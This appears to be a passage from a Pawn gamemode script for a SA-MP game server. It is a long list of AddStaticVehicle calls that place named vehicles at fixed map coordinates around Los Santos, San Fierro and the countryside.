    AddStaticVehicle(511,1561.41796875,-2630.97363281,15.06277275,0.00000000,-1,-1); //Beagle
    AddStaticVehicle(511,1517.71533203,-2630.26708984,16.30276489,0.00000000,-1,-1); //Beagle
    AddStaticVehicle(511,1475.29504395,-2624.33886719,19.82447052,2.00000000,-1,-1); //Beagle
    AddStaticVehicle(593,1822.44763184,-2628.16552734,14.09705734,0.00000000,8,8); //Dodo
    AddStaticVehicle(592,2059.15991211,-2592.99682617,12.54687881,274.00000000,1,1); //Andromada
    AddStaticVehicle(515,2110.73657227,-2059.39355469,14.70809174,128.96484375,81,77); //Roadtrain
    AddStaticVehicle(563,1765.62426758,-2285.01245117,27.68177223,312.00000000,80,1); //Raindance
    AddStaticVehicle(426,1698.93847656,-2325.52685547,-2.85968781,90.00000000,-1,-1); //Premier
    AddStaticVehicle(405,1438.27026367,-2225.18579102,13.54687500,0.00000000,-1,-1); //Sentinel
    AddStaticVehicle(412,1444.80310059,-2224.82324219,13.49687481,0.00000000,-1,-1); //Voodoo
    AddStaticVehicle(587,1448.03918457,-2225.09838867,13.35687542,0.00000000,-1,-1); //Euros
    AddStaticVehicle(558,1394.29626465,-2261.51806641,13.25066662,180.00000000,-1,-1); //Uranus
    AddStaticVehicle(565,1365.91040039,-2252.87768555,13.23880577,90.00000000,-1,-1); //Flash
    AddStaticVehicle(451,1365.50964355,-2232.28417969,13.31124687,270.00000000,-1,-1); //Turismo
    AddStaticVehicle(402,1394.52441406,-2330.73608398,13.48687458,0.00000000,-1,-1); //Buffalo
    AddStaticVehicle(410,1407.37219238,-2364.07031250,13.29686832,0.00000000,-1,-1); //Manana
    AddStaticVehicle(562,1394.79626465,-2364.70019531,13.30042458,180.00000000,18,1); //Elegy
    AddStaticVehicle(527,1365.31469727,-2358.45507812,13.33002377,90.00000000,-1,-1); //Cadrona
    AddStaticVehicle(558,1560.14721680,-2312.49121094,13.24903393,90.00000000,-1,-1); //Uranus
    AddStaticVehicle(507,1560.51464844,-2331.84619141,13.49687481,270.00000000,-1,-1); //Elegant
    AddStaticVehicle(405,2435.27783203,-2454.79516602,13.62500000,258.00000000,-1,-1); //Sentinel
    AddStaticVehicle(567,2613.58764648,-2379.64379883,13.60334206,0.00000000,-1,-1); //Savanna
    AddStaticVehicle(536,2264.61718750,-1359.39440918,23.83232689,0.00000000,-1,-1); //Blade
    AddStaticVehicle(522,2090.26342773,-1346.98815918,23.64475250,30.00000000,-1,-1); //NRG-500
    AddStaticVehicle(558,2078.29150391,-1335.28320312,23.68816757,0.00000000,-1,-1); //Uranus
    AddStaticVehicle(480,1969.28198242,-1087.80212402,25.16987419,352.00000000,-1,-1); //Comet
    AddStaticVehicle(402,1789.19641113,-1061.17993164,23.90093803,0.00000000,-1,-1); //Buffalo
    AddStaticVehicle(480,1789.03601074,-1070.01074219,23.81093788,180.00000000,-1,-1); //Comet
    AddStaticVehicle(411,1771.20629883,-1060.90991211,23.76093674,0.00000000,-1,-1); //Infernus
    AddStaticVehicle(475,1748.45202637,-1046.85156250,23.86093712,180.00000000,-1,-1); //Sabre
    AddStaticVehicle(562,1753.08740234,-1037.97766113,23.71448708,0.00000000,-1,-1); //Elegy
    AddStaticVehicle(549,1659.07031250,-1098.10424805,23.76772690,270.00000000,-1,-1); //Tampa
    AddStaticVehicle(587,1523.19360352,-1174.45556641,23.88812447,50.00000000,-1,-1); //Euros
    AddStaticVehicle(560,1451.40356445,-1148.56005859,23.84632874,0.00000000,-1,-1); //Sultan
    AddStaticVehicle(429,1475.55688477,-1141.43981934,23.82812500,179.46551514,-1,-1); //Banshee
    AddStaticVehicle(602,1047.64184570,-1366.51025391,13.46352768,0.00000000,-1,-1); //Alpha
    AddStaticVehicle(602,1419.50683594,-1254.72534180,13.48094749,0.00000000,-1,-1); //Alpha
    AddStaticVehicle(541,1018.12811279,-1504.44433594,13.24100208,0.00000000,-1,-1); //Bullet
    AddStaticVehicle(439,1423.08288574,-1678.08740234,13.54687500,0.00000000,-1,-1); //Stallion
    AddStaticVehicle(491,1423.22021484,-1665.96240234,13.44687462,0.00000000,-1,-1); //Virgo
    AddStaticVehicle(559,1447.09143066,-1524.04089355,13.30093861,344.00000000,-1,-1); //Jester
    AddStaticVehicle(526,1269.93395996,-1557.55615234,13.41249943,180.00000000,-1,-1); //Fortune
    AddStaticVehicle(436,1274.08898926,-1557.44006348,13.43778515,180.00000000,-1,-1); //Previon
    AddStaticVehicle(445,1235.89672852,-1566.08264160,13.55400467,90.00000000,-1,-1); //Admiral
    AddStaticVehicle(547,1251.54187012,-1578.57653809,13.38687515,270.00000000,-1,-1); //Primo
    AddStaticVehicle(580,1239.33483887,-1578.90344238,13.45439911,270.00000000,35,1); //Stafford
    AddStaticVehicle(421,1118.35595703,-1578.84973145,13.56798744,270.00000000,-1,-1); //Washington
    AddStaticVehicle(540,931.93481445,-1795.92443848,13.68382740,78.00000000,-1,-1); //Vincent
    AddStaticVehicle(507,679.66638184,-1735.58715820,13.49301815,76.00000000,-1,-1); //Elegant
    AddStaticVehicle(438,311.75100708,-1803.51977539,4.71027327,90.00000000,6,1); //Cabbie
    AddStaticVehicle(535,318.09973145,-1789.60852051,4.51374578,0.00000000,-1,-1); //Slamvan
    AddStaticVehicle(517,235.26933289,-1566.48144531,33.22956848,344.00000000,-1,-1); //Majestic
    AddStaticVehicle(401,-49.68459320,-1570.07177734,2.48340845,80.00000000,-1,-1); //Bravura
    AddStaticVehicle(480,-81.69838715,-1601.81311035,2.46718740,340.00000000,-1,-1); //Comet
    AddStaticVehicle(439,-71.74804688,-1154.83984375,1.75000000,329.99633789,-1,-1); //Stallion
    AddStaticVehicle(592,404.70751953,2502.41918945,15.48437500,90.00000000,1,1); //Andromada
    AddStaticVehicle(400,-250.97198486,2716.94384766,62.82361221,0.00000000,-1,-1); //Landstalker
    AddStaticVehicle(424,2132.53369141,916.38787842,10.66753864,0.00000000,-1,-1); //BF Injection
    AddStaticVehicle(531,2184.17700195,86.02606964,24.03615379,88.00000000,-1,-1); //Tractor
    AddStaticVehicle(498,2470.43310547,23.75268745,26.69437408,0.00000000,-1,-1); //Boxville
    AddStaticVehicle(422,2468.91064453,126.63127899,26.55656242,0.00000000,67,1); //Bobcat
    AddStaticVehicle(429,2915.39453125,-847.53594971,10.79687500,90.00000000,-1,-1); //Banshee
    AddStaticVehicle(603,2915.45288086,-839.08386230,11.04955006,90.00000000,-1,-1); //Phoenix
    AddStaticVehicle(405,2763.35571289,-1875.69042969,9.72381687,0.00000000,-1,-1); //Sentinel
    AddStaticVehicle(551,2768.01000977,-1875.01232910,9.62367439,0.00000000,-1,-1); //Merit
    AddStaticVehicle(576,2728.20043945,-1875.84997559,9.32410431,0.00000000,-1,-1); //Tornado
    AddStaticVehicle(542,2659.16015625,-1817.75524902,9.15104103,100.00000000,-1,-1); //Clover
    AddStaticVehicle(562,2686.53906250,-1672.75744629,9.19714451,0.00000000,-1,-1); //Elegy
    AddStaticVehicle(555,2696.65039062,-1672.62829590,9.26619053,180.00000000,-1,-1); //Windsor
    AddStaticVehicle(429,2516.28857422,-1472.27038574,23.75603104,0.00000000,-1,-1); //Banshee
    AddStaticVehicle(599,2488.30224609,-1518.27465820,24.37731361,0.00000000,-1,1); //Police Ranger
    AddStaticVehicle(599,2484.30957031,-1518.42846680,24.37731361,0.00000000,-1,1); //Police Ranger
    AddStaticVehicle(565,2361.76879883,-1672.30676270,13.23865509,0.00000000,-1,-1); //Flash
    AddStaticVehicle(518,1651.88745117,-1507.06933594,13.34168243,0.00000000,-1,-1); //Buccaneer
    AddStaticVehicle(522,1614.58227539,-1864.06445312,25.36756516,191.99688721,-1,-1); //NRG-500
    AddStaticVehicle(581,1674.70495605,-1969.28710938,23.52494621,0.00000000,-1,-1); //BF-400
    AddStaticVehicle(575,2249.32543945,-2016.05810547,13.28687477,0.00000000,-1,-1); //Broadway
    AddStaticVehicle(466,1039.86364746,-1881.17602539,13.20212555,0.00000000,-1,-1); //Glendale
    AddStaticVehicle(585,487.64627075,-1460.73791504,17.86441612,332.00000000,-1,-1); //Emperor
    AddStaticVehicle(516,301.59042358,-1490.50952148,24.49374962,56.00000000,-1,-1); //Nebula
    AddStaticVehicle(567,243.74935913,-1590.08227539,33.20330811,358.00000000,-1,-1); //Savanna
    AddStaticVehicle(527,291.02441406,-1213.92272949,75.42980194,304.00000000,-1,-1); //Cadrona
    AddStaticVehicle(541,368.71795654,-1268.92529297,53.20240021,116.00000000,-1,-1); //Bullet
    AddStaticVehicle(429,583.60552979,-1247.31347656,17.60694504,8.00000000,-1,-1); //Banshee
    AddStaticVehicle(488,764.03021240,-1343.06115723,13.78658581,0.00000000,-1,-1); //News Chopper
    AddStaticVehicle(488,747.00878906,-1343.43847656,13.78575611,0.00000000,-1,-1); //News Chopper
    AddStaticVehicle(512,-1015.07568359,-926.61431885,129.85275269,110.00000000,99,1); //Cropdust
    AddStaticVehicle(458,458.72692871,-1566.97009277,26.02860832,0.00000000,-1,-1); //Solair
    AddStaticVehicle(500,458.82800293,-1556.31921387,27.42488480,0.00000000,-1,-1); //Mesa
    AddStaticVehicle(546,1936.05993652,-1597.67187500,13.39057350,0.00000000,-1,-1); //Intruder
    AddStaticVehicle(454,863.03784180,-1906.66174316,0.00000000,0.00000000,-1,-1); //Tropic
    AddStaticVehicle(516,713.46197510,-1775.82690430,13.57371807,70.00000000,-1,-1); //Nebula
    AddStaticVehicle(534,783.25585938,-1605.00427246,13.20568943,90.00000000,-1,-1); //Remington
    AddStaticVehicle(522,-2337.03564453,-1588.71044922,483.27676392,190.00000000,3,1); //NRG-500
    AddStaticVehicle(522,-2367.54833984,-1641.06994629,487.77587891,349.99572754,-1,-1); //NRG-500
    AddStaticVehicle(522,-2343.70312500,-1589.67187500,483.22915649,309.99572754,-1,-1); //NRG-500
    AddStaticVehicle(522,-2340.41992188,-1586.84606934,483.23364258,259.99877930,56,7); //NRG-500
    AddStaticVehicle(522,-2237.98168945,-1711.52502441,480.53030396,277.99572754,3,105); //NRG-500
    AddStaticVehicle(512,-2326.18872070,-1582.17224121,484.29791260,194.00000000,100,1); //Cropdust
    AddStaticVehicle(556,-2349.35107422,-1605.22216797,484.29998779,258.00000000,-1,-1); //Monster A
    AddStaticVehicle(556,-2350.39550781,-1610.11181641,484.29998779,257.99743652,-1,-1); //Monster A
    AddStaticVehicle(556,-2351.59716797,-1615.73498535,484.29998779,263.99743652,-1,-1); //Monster A
    AddStaticVehicle(406,-2351.87426758,-1632.55639648,485.50000000,240.00000000,-1,-1); //Dumper
    AddStaticVehicle(522,-2338.77734375,-1590.20605469,483.27438354,229.99877930,6,1); //NRG-500
    AddStaticVehicle(522,-2341.30371094,-1590.58007812,483.25640869,159.99389648,-1,-1); //NRG-500
    AddStaticVehicle(510,-2458.12817383,-1937.84594727,301.27581787,0.00000000,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2459.67675781,-1931.35156250,301.76599121,270.00000000,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2458.44824219,-1928.30761719,301.89849854,209.99816895,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2460.08593750,-1929.08886719,301.50885010,249.99938965,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2461.54516602,-1936.16748047,300.95605469,280.00000000,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2392.36425781,-2214.85717773,32.98490524,300.00000000,50,1); //Mountain Bike
    AddStaticVehicle(510,-2395.93603516,-2208.17114258,32.98490524,299.99816895,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2392.99316406,-2213.78808594,32.98490524,299.99816895,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2393.66308594,-2212.53222656,32.98490524,299.99816895,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2394.56445312,-2210.97949219,32.98490524,299.99816895,6,46); //Mountain Bike
    AddStaticVehicle(510,-2395.24316406,-2209.52832031,32.98490524,299.99816895,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2394.51782227,-2216.35205078,32.98490524,299.99816895,1,46); //Mountain Bike
    AddStaticVehicle(510,-2395.16503906,-2215.06884766,32.98490524,299.99816895,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2395.81445312,-2213.85302734,32.98490524,299.99816895,75,46); //Mountain Bike
    AddStaticVehicle(510,-2397.99560547,-2209.66162109,32.98490524,299.99816895,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2396.64746094,-2212.33691406,32.98490524,299.99816895,-1,-1); //Mountain Bike
    AddStaticVehicle(510,-2397.31542969,-2211.04882812,32.98490524,299.99816895,-1,-1); //Mountain Bike
    AddStaticVehicle(468,-2398.90917969,-2198.16308594,33.04906082,290.00000000,-1,-1); //Sanchez
    AddStaticVehicle(468,-2400.43847656,-2204.04882812,33.04906082,289.99511719,-1,-1); //Sanchez
    AddStaticVehicle(468,-2401.83642578,-2199.18017578,33.04906082,289.99511719,71,3); //Sanchez
    AddStaticVehicle(468,-2398.03710938,-2201.42382812,33.04906082,289.99511719,87,3); //Sanchez
    AddStaticVehicle(468,-2397.53125000,-2203.00976562,33.04906082,289.99511719,100,3); //Sanchez
    AddStaticVehicle(468,-2397.00878906,-2204.42968750,33.04906082,289.99511719,-1,-1); //Sanchez
    AddStaticVehicle(468,-2396.59960938,-2206.01269531,33.04906082,289.99511719,86,3); //Sanchez
    AddStaticVehicle(468,-2399.37500000,-2207.10546875,33.04906082,289.99511719,53,3); //Sanchez
    AddStaticVehicle(468,-2399.97363281,-2205.56054688,33.04906082,289.99511719,6,3); //Sanchez
    AddStaticVehicle(468,-2398.50781250,-2199.94140625,33.04906082,289.99511719,-1,-1); //Sanchez
    AddStaticVehicle(468,-2400.91210938,-2202.31835938,33.04906082,289.99511719,68,3); //Sanchez
    AddStaticVehicle(468,-2401.48242188,-2200.85937500,33.04906082,289.99511719,-1,-1); //Sanchez
    AddStaticVehicle(560,-2406.64624023,-2180.83862305,33.09403610,0.00000000,-1,-1); //Sultan
    AddStaticVehicle(419,-2154.27612305,-2254.32983398,30.55500031,141.99829102,75,75); //Esperanto
    AddStaticVehicle(407,1749.74902344,-1457.28417969,13.77630043,270.42297363,3,1); //Firetruck
    AddStaticVehicle(407,1749.89160156,-1453.65039062,13.91687489,270.42297363,3,1); //Firetruck
    AddStaticVehicle(599,2337.73706055,55.38298416,26.86950111,180.00000000,-1,-1); //Police Ranger
    AddStaticVehicle(599,2337.50268555,45.21968079,26.86950111,180.00000000,-1,-1); //Police Ranger
    AddStaticVehicle(546,1393.34777832,339.92492676,18.84148216,8.00000000,-1,-1); //Intruder
    AddStaticVehicle(445,1392.40051270,385.49685669,19.74781227,246.00000000,101,1); //Admiral
    AddStaticVehicle(445,1389.70019531,378.86523438,19.74781227,65.99487305,-1,-1); //Admiral
    AddStaticVehicle(565,1388.21960449,375.60543823,19.44974327,66.00000000,-1,-1); //Flash
    AddStaticVehicle(543,1290.74597168,189.14437866,20.28941917,60.00000000,-1,-1); //Sadler
    AddStaticVehicle(554,139.28773499,-94.26599884,1.77312493,0.00000000,-1,-1); //Yosemite
    AddStaticVehicle(478,238.94302368,-190.59138489,1.65812492,0.00000000,-1,-1); //Walton
    AddStaticVehicle(412,165.36727905,-254.11486816,1.52812493,90.00000000,-1,-1); //Voodoo
    AddStaticVehicle(533,-2100.20971680,-2356.59985352,30.42499924,0.00000000,-1,-1); //Feltzer
    AddStaticVehicle(419,-2090.61230469,-2319.52246094,30.55500031,321.99829102,-1,-1); //Esperanto
    AddStaticVehicle(602,-2149.16406250,-2441.94458008,30.52499962,322.00000000,-1,-1); //Alpha
    AddStaticVehicle(468,-2045.67761230,-2563.34082031,30.38500023,8.29528809,6,3); //Sanchez
    AddStaticVehicle(508,-2237.20068359,-2572.57324219,32.37187576,64.00000000,8,1); //Journey
    AddStaticVehicle(408,-1889.04003906,-1742.53222656,22.29150009,125.13427734,55,26); //Trashmaster
    AddStaticVehicle(408,-1817.59484863,-1645.18627930,22.50000000,107.13415527,55,26); //Trashmaster
    AddStaticVehicle(408,-1846.01074219,-1565.65332031,22.50000000,157.13195801,55,26); //Trashmaster
    AddStaticVehicle(449,-2006.50000000,209.22790527,27.99720001,180.00000000,1,1); //Tram
    AddStaticVehicle(429,-2240.67675781,521.84411621,34.92187500,0.00000000,-1,-1); //Banshee
    AddStaticVehicle(451,-2246.92016602,521.83715820,34.93624878,0.00000000,-1,-1); //Turismo
    AddStaticVehicle(602,-2243.18652344,549.48468018,35.05770874,180.00000000,-1,-1); //Alpha
    AddStaticVehicle(545,-2247.90942383,549.81665039,35.10239029,0.00000000,-1,-1); //Hustler
    AddStaticVehicle(451,-2250.63183594,522.02038574,34.93624878,180.00000000,-1,-1); //Turismo
    AddStaticVehicle(517,-2066.81591797,497.81781006,35.10754013,90.00000000,-1,-1); //Majestic
    AddStaticVehicle(576,-1956.39916992,584.79486084,34.87545013,0.00000000,-1,-1); //Tornado
    AddStaticVehicle(542,-1944.14099121,585.04711914,34.97296906,0.00000000,-1,-1); //Clover
    AddStaticVehicle(445,-1941.09912109,585.05065918,35.11170578,180.00000000,-1,-1); //Admiral
    AddStaticVehicle(522,-1929.49353027,584.99963379,34.79064178,0.00000000,-1,-1); //NRG-500
    AddStaticVehicle(543,-1862.88525391,614.53369141,35.12187576,270.00000000,-1,-1); //Sadler
    AddStaticVehicle(429,-1730.23046875,587.16790771,24.61740112,0.00000000,-1,-1); //Banshee
    AddStaticVehicle(558,-1733.97741699,587.14349365,24.57098007,0.00000000,-1,-1); //Uranus
    AddStaticVehicle(597,-1605.88000488,673.40771484,7.05749989,179.17053223,-1,1); //Police Car (SFPD)
    AddStaticVehicle(559,-1722.96630859,705.98852539,24.64468765,0.00000000,-1,-1); //Jester
    AddStaticVehicle(411,-1723.00024414,695.59765625,24.69062424,0.00000000,-1,-1); //Infernus
    AddStaticVehicle(599,-1604.13647461,691.49969482,-4.85706091,0.00000000,-1,1); //Police Ranger
    AddStaticVehicle(599,-1582.64147949,651.78198242,7.57262659,0.00000000,-1,1); //Police Ranger
    AddStaticVehicle(599,-1588.24902344,651.75976562,7.57262659,0.00000000,-1,1); //Police Ranger
    AddStaticVehicle(601,-1637.30053711,658.02801514,-5.31197882,90.00000000,-1,-1); //S.W.A.T. Van
    AddStaticVehicle(601,-1637.26074219,653.51855469,-5.31197882,90.00000000,-1,-1); //S.W.A.T. Van
    AddStaticVehicle(523,-1616.54113770,651.61480713,6.84787750,179.69787598,-1,-1); //HPV1000
    AddStaticVehicle(548,-1547.69799805,380.13092041,9.08756161,265.84619141,123,123); //Cargobob
    AddStaticVehicle(548,-1548.93457031,404.72656250,9.08756161,275.84619141,123,123); //Cargobob
    AddStaticVehicle(470,-1543.27905273,478.43621826,7.29751158,0.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,-1538.63769531,478.37176514,7.29751158,0.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,-1259.27868652,439.81048584,7.29092741,0.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,-1241.02050781,440.02539062,7.29092741,0.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,-1250.95214844,439.97558594,7.29751158,0.00000000,-1,-1); //Patriot
    AddStaticVehicle(433,-1254.42590332,474.17797852,7.75091553,180.00000000,-1,-1); //Barracks
    AddStaticVehicle(433,-1245.99609375,474.15527344,7.75091553,180.00000000,-1,-1); //Barracks
    AddStaticVehicle(433,-1260.36877441,474.22439575,7.75091553,180.00000000,-1,-1); //Barracks
    AddStaticVehicle(433,-1510.77038574,474.84188843,7.75091553,180.00000000,-1,-1); //Barracks
    AddStaticVehicle(470,-1516.17968750,475.96749878,7.29092741,180.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,-1594.99987793,362.58410645,7.28969908,0.00000000,-1,-1); //Patriot
    AddStaticVehicle(470,-1600.76367188,362.39355469,7.28969908,0.00000000,-1,-1); //Patriot
    AddStaticVehicle(565,-1543.12512207,694.15942383,6.87943077,90.00000000,-1,-1); //Flash
    AddStaticVehicle(436,-1590.50805664,752.39733887,7.06549358,0.00000000,-1,-1); //Previon
    AddStaticVehicle(496,-1568.10546875,770.01831055,6.97522736,0.00000000,-1,-1); //Blista Compact
    AddStaticVehicle(562,-1567.97033691,780.84570312,6.94104958,0.00000000,-1,-1); //Elegy
    AddStaticVehicle(480,-1568.01220703,800.79229736,7.03749990,0.00000000,-1,-1); //Comet
    AddStaticVehicle(559,-1627.98547363,818.25830078,6.94873142,0.00000000,-1,-1); //Jester
    AddStaticVehicle(597,-1610.97167969,721.93945312,12.82483768,270.00000000,-1,1); //Police Car (SFPD)
    AddStaticVehicle(411,-1795.94860840,822.38360596,24.69062424,0.00000000,-1,-1); //Infernus
    AddStaticVehicle(559,-1890.42248535,879.22418213,34.92593765,0.00000000,-1,-1); //Jester
    AddStaticVehicle(559,-1890.36914062,870.61230469,34.91814423,0.00000000,-1,-1); //Jester
    AddStaticVehicle(415,-1908.20410156,821.86535645,35.02139664,180.00000000,-1,-1); //Cheetah
    AddStaticVehicle(439,-1890.44921875,709.09246826,45.44531250,0.00000000,-1,-1); //Stallion
    AddStaticVehicle(526,-1973.77966309,722.38006592,45.29531097,90.00000000,-1,-1); //Fortune
    AddStaticVehicle(526,-1966.20703125,722.35839844,45.29531097,90.00000000,-1,-1); //Fortune
    AddStaticVehicle(585,-1995.27087402,896.90856934,45.14223862,0.00000000,-1,-1); //Emperor
    AddStaticVehicle(581,-1877.06469727,987.90039062,35.02877808,90.00000000,-1,-1); //BF-400
    AddStaticVehicle(443,-1936.46093750,1000.64599609,35.92227173,270.00000000,-1,-1); //Packer
    AddStaticVehicle(401,-1766.09411621,1086.75854492,45.31312561,180.00000000,-1,-1); //Bravura
    AddStaticVehicle(526,-1770.75585938,1086.81420898,45.29531097,0.00000000,-1,-1); //Fortune
    AddStaticVehicle(401,-1778.72265625,1086.79296875,45.31312561,0.00000000,-1,-1); //Bravura
    AddStaticVehicle(507,-1723.23791504,960.48254395,24.84062576,0.00000000,-1,-1); //Elegant
    AddStaticVehicle(507,-1705.24707031,1081.04785156,45.28864288,0.00000000,-1,-1); //Elegant
    AddStaticVehicle(551,-1762.85632324,953.19763184,24.62218666,94.00000000,-1,-1); //Merit
    AddStaticVehicle(409,-1752.50671387,953.56689453,24.66718674,90.00000000,-1,-1); //Stretch
    AddStaticVehicle(551,-1742.16625977,952.65728760,24.62998390,75.99902344,-1,-1); //Merit
    AddStaticVehicle(523,-1768.91906738,950.22357178,24.40256500,126.00000000,-1,-1); //HPV1000
    AddStaticVehicle(523,-1735.56750488,949.35717773,24.41036224,47.99670410,-1,-1); //HPV1000
    AddStaticVehicle(523,-1770.27148438,952.03515625,24.40256500,125.99670410,-1,-1); //HPV1000
    AddStaticVehicle(489,-1811.40124512,909.46466064,25.25075150,90.00000000,-1,-1); //Rancher
    AddStaticVehicle(550,-1973.52319336,1109.96997070,54.72772217,0.00000000,1,1); //Sunrise
    AddStaticVehicle(550,-1973.44616699,1117.86389160,53.30966568,0.00000000,1,1); //Sunrise
    AddStaticVehicle(550,-1973.44091797,1126.26708984,51.78372574,0.00000000,1,1); //Sunrise
    AddStaticVehicle(529,-2057.31640625,1041.30383301,55.46987915,0.00000000,-1,-1); //Willard
    AddStaticVehicle(439,-2134.16577148,1186.94226074,55.72656250,90.00000000,-1,-1); //Stallion
    AddStaticVehicle(562,-2152.73632812,1076.58593750,79.75354767,0.00000000,-1,-1); //Elegy
    AddStaticVehicle(474,-2152.81982422,984.02520752,79.90000153,0.00000000,-1,-1); //Hermes
    AddStaticVehicle(436,-2133.00317383,644.24133301,52.24518204,0.00000000,-1,-1); //Previon
    AddStaticVehicle(603,-2377.82421875,643.81176758,35.17454910,0.00000000,-1,-1); //Phoenix
    AddStaticVehicle(549,-2451.40283203,740.64562988,34.87710190,0.00000000,-1,-1); //Tampa
    AddStaticVehicle(541,-2503.75048828,741.29071045,34.72233582,0.00000000,-1,-1); //Bullet
    AddStaticVehicle(587,-2377.87646484,902.89569092,45.25531387,0.00000000,-1,-1); //Euros
    AddStaticVehicle(533,-2377.99291992,894.91735840,45.24531174,0.00000000,-1,-1); //Feltzer
    AddStaticVehicle(401,-2326.72924805,986.31335449,50.56312561,0.00000000,-1,-1); //Bravura
    AddStaticVehicle(518,-2332.33178711,985.80145264,50.49011993,0.00000000,-1,-1); //Buccaneer
    AddStaticVehicle(491,-2320.98535156,988.08618164,50.59531403,0.00000000,-1,-1); //Virgo
    AddStaticVehicle(518,-2645.05200195,1335.38024902,6.95894337,0.00000000,-1,-1); //Buccaneer
    AddStaticVehicle(421,-2639.01196289,1335.48815918,7.19181252,0.00000000,-1,-1); //Washington
    AddStaticVehicle(526,-2633.70532227,1335.01989746,7.04531240,0.00000000,-1,-1); //Fortune
    AddStaticVehicle(506,-2628.76831055,1335.15002441,6.98742580,0.00000000,-1,-1); //Super GT
    AddStaticVehicle(409,-2640.12304688,1372.54064941,7.06867313,269.43420410,126,126); //Stretch
    AddStaticVehicle(451,-2503.88867188,1386.29199219,6.95187187,270.00000000,-1,-1); //Turismo
    AddStaticVehicle(527,-2246.24243164,1036.04846191,83.62689972,0.00000000,-1,-1); //Cadrona
    AddStaticVehicle(558,-2276.52929688,912.08300781,66.27680206,176.25366211,112,1); //Uranus
    AddStaticVehicle(545,-2132.72534180,834.28533936,69.50468445,0.00000000,-1,-1); //Hustler
    AddStaticVehicle(535,-2095.12304688,714.98529053,69.40249634,0.00000000,-1,-1); //Slamvan
    AddStaticVehicle(550,-2040.68408203,576.13366699,35.09465790,90.00000000,-1,-1); //Sunrise
    AddStaticVehicle(519,-1500.81738281,-206.20187378,15.14850998,44.20031738,71,87); //Shamal
    AddStaticVehicle(519,-1357.79174805,-502.98663330,15.14850998,206.19781494,71,87); //Shamal
    AddStaticVehicle(592,-1208.40124512,-476.97366333,14.19155884,318.00000000,8,8); //Andromada
    AddStaticVehicle(592,-1157.09899902,-404.99407959,13.14843750,347.99926758,8,8); //Andromada
    AddStaticVehicle(487,-1186.09960938,24.29101562,14.32479954,49.06494141,3,29); //Maverick
    AddStaticVehicle(485,-1560.64648438,-424.58563232,5.75723886,308.01330566,1,77); //Baggage
    AddStaticVehicle(485,-1568.86242676,-415.37167358,5.78998470,320.00903320,1,77); //Baggage
    AddStaticVehicle(485,-1533.80175781,-449.44775391,5.81874943,150.03509521,1,77); //Baggage
    AddStaticVehicle(458,-1419.57470703,-297.20666504,14.11864758,48.00000000,27,1); //Solair
    AddStaticVehicle(479,-2149.07739258,-911.35205078,31.92801857,90.00000000,21,1); //Regina
    AddStaticVehicle(405,-2134.12182617,-891.90209961,32.02343750,270.00000000,-1,-1); //Sentinel
    AddStaticVehicle(547,-2148.86450195,-920.21051025,31.86343765,90.00000000,-1,-1); //Primo
    AddStaticVehicle(576,-2124.57348633,-818.03845215,31.77343750,270.00000000,-1,-1); //Tornado
    AddStaticVehicle(477,-2148.78442383,-793.66052246,31.87343788,270.00000000,38,1); //ZR-350
    AddStaticVehicle(477,-2134.10620117,-898.47088623,31.87343788,270.00000000,26,1); //ZR-350
    AddStaticVehicle(587,-2531.91333008,-602.23272705,132.37249756,0.00000000,-1,-1); //Euros
    AddStaticVehicle(426,-2494.62963867,-602.07989502,132.38250732,180.00000000,70,1); //Premier
    AddStaticVehicle(535,-2712.02319336,-165.16331482,4.16812515,0.00000000,-1,-1); //Slamvan
    AddStaticVehicle(439,-2758.36572266,-112.71029663,6.94787025,0.00000000,-1,-1); //Stallion
    AddStaticVehicle(496,-2754.17041016,-138.67727661,6.73250532,0.00000000,-1,-1); //Blista Compact
    AddStaticVehicle(410,-2765.34326172,57.91669464,6.78124285,0.00000000,-1,-1); //Manana
    AddStaticVehicle(474,-2693.66625977,235.29307556,4.23593712,0.00000000,-1,-1); //Hermes
    AddStaticVehicle(541,-2689.28149414,235.13456726,4.03593731,0.00000000,-1,-1); //Bullet
    AddStaticVehicle(429,-2694.77954102,268.16558838,4.08593750,0.00000000,-1,-1); //Banshee
    AddStaticVehicle(436,-2632.41845703,211.81861877,4.32602215,90.00000000,-1,-1); //Previon
    AddStaticVehicle(562,-2533.37817383,318.24621582,19.33876610,0.00000000,-1,-1); //Elegy
    AddStaticVehicle(411,-2516.06689453,309.82623291,34.91718674,70.00000000,-1,-1); //Infernus
    AddStaticVehicle(526,-2513.42041016,359.72845459,34.96718597,64.00000000,-1,-1); //Fortune
    AddStaticVehicle(445,-2477.23413086,412.47744751,27.76357460,138.00000000,-1,-1); //Admiral
    AddStaticVehicle(516,-2368.37939453,390.91790771,35.06406403,42.00000000,-1,-1); //Nebula
    AddStaticVehicle(419,-2266.24194336,196.72151184,35.09406281,90.00000000,-1,-1); //Esperanto
    AddStaticVehicle(436,-2265.47167969,200.61306763,35.04205704,270.00000000,-1,-1); //Previon
    AddStaticVehicle(439,-2265.68286133,141.41831970,35.15715790,90.00000000,-1,-1); //Stallion
    AddStaticVehicle(419,-2267.85205078,77.60615540,35.09406281,270.00000000,-1,-1); //Esperanto
    AddStaticVehicle(496,-2029.19396973,124.30981445,28.90749550,0.00000000,-1,-1); //Blista Compact
    AddStaticVehicle(401,-2034.20812988,178.64512634,28.71074677,90.00000000,-1,-1); //Bravura
    AddStaticVehicle(480,-1989.72399902,266.82608032,35.02935410,266.00000000,-1,-1); //Comet
    AddStaticVehicle(436,-1922.67541504,290.31280518,40.92486954,0.00000000,-1,-1); //Previon
    AddStaticVehicle(477,-2052.75610352,409.10140991,35.02187347,0.00000000,-1,-1); //ZR-350
    AddStaticVehicle(401,-2048.31518555,408.94525146,35.03968811,0.00000000,-1,-1); //Bravura
    AddStaticVehicle(536,-2043.80554199,408.79788208,35.02187347,180.00000000,-1,-1); //Blade
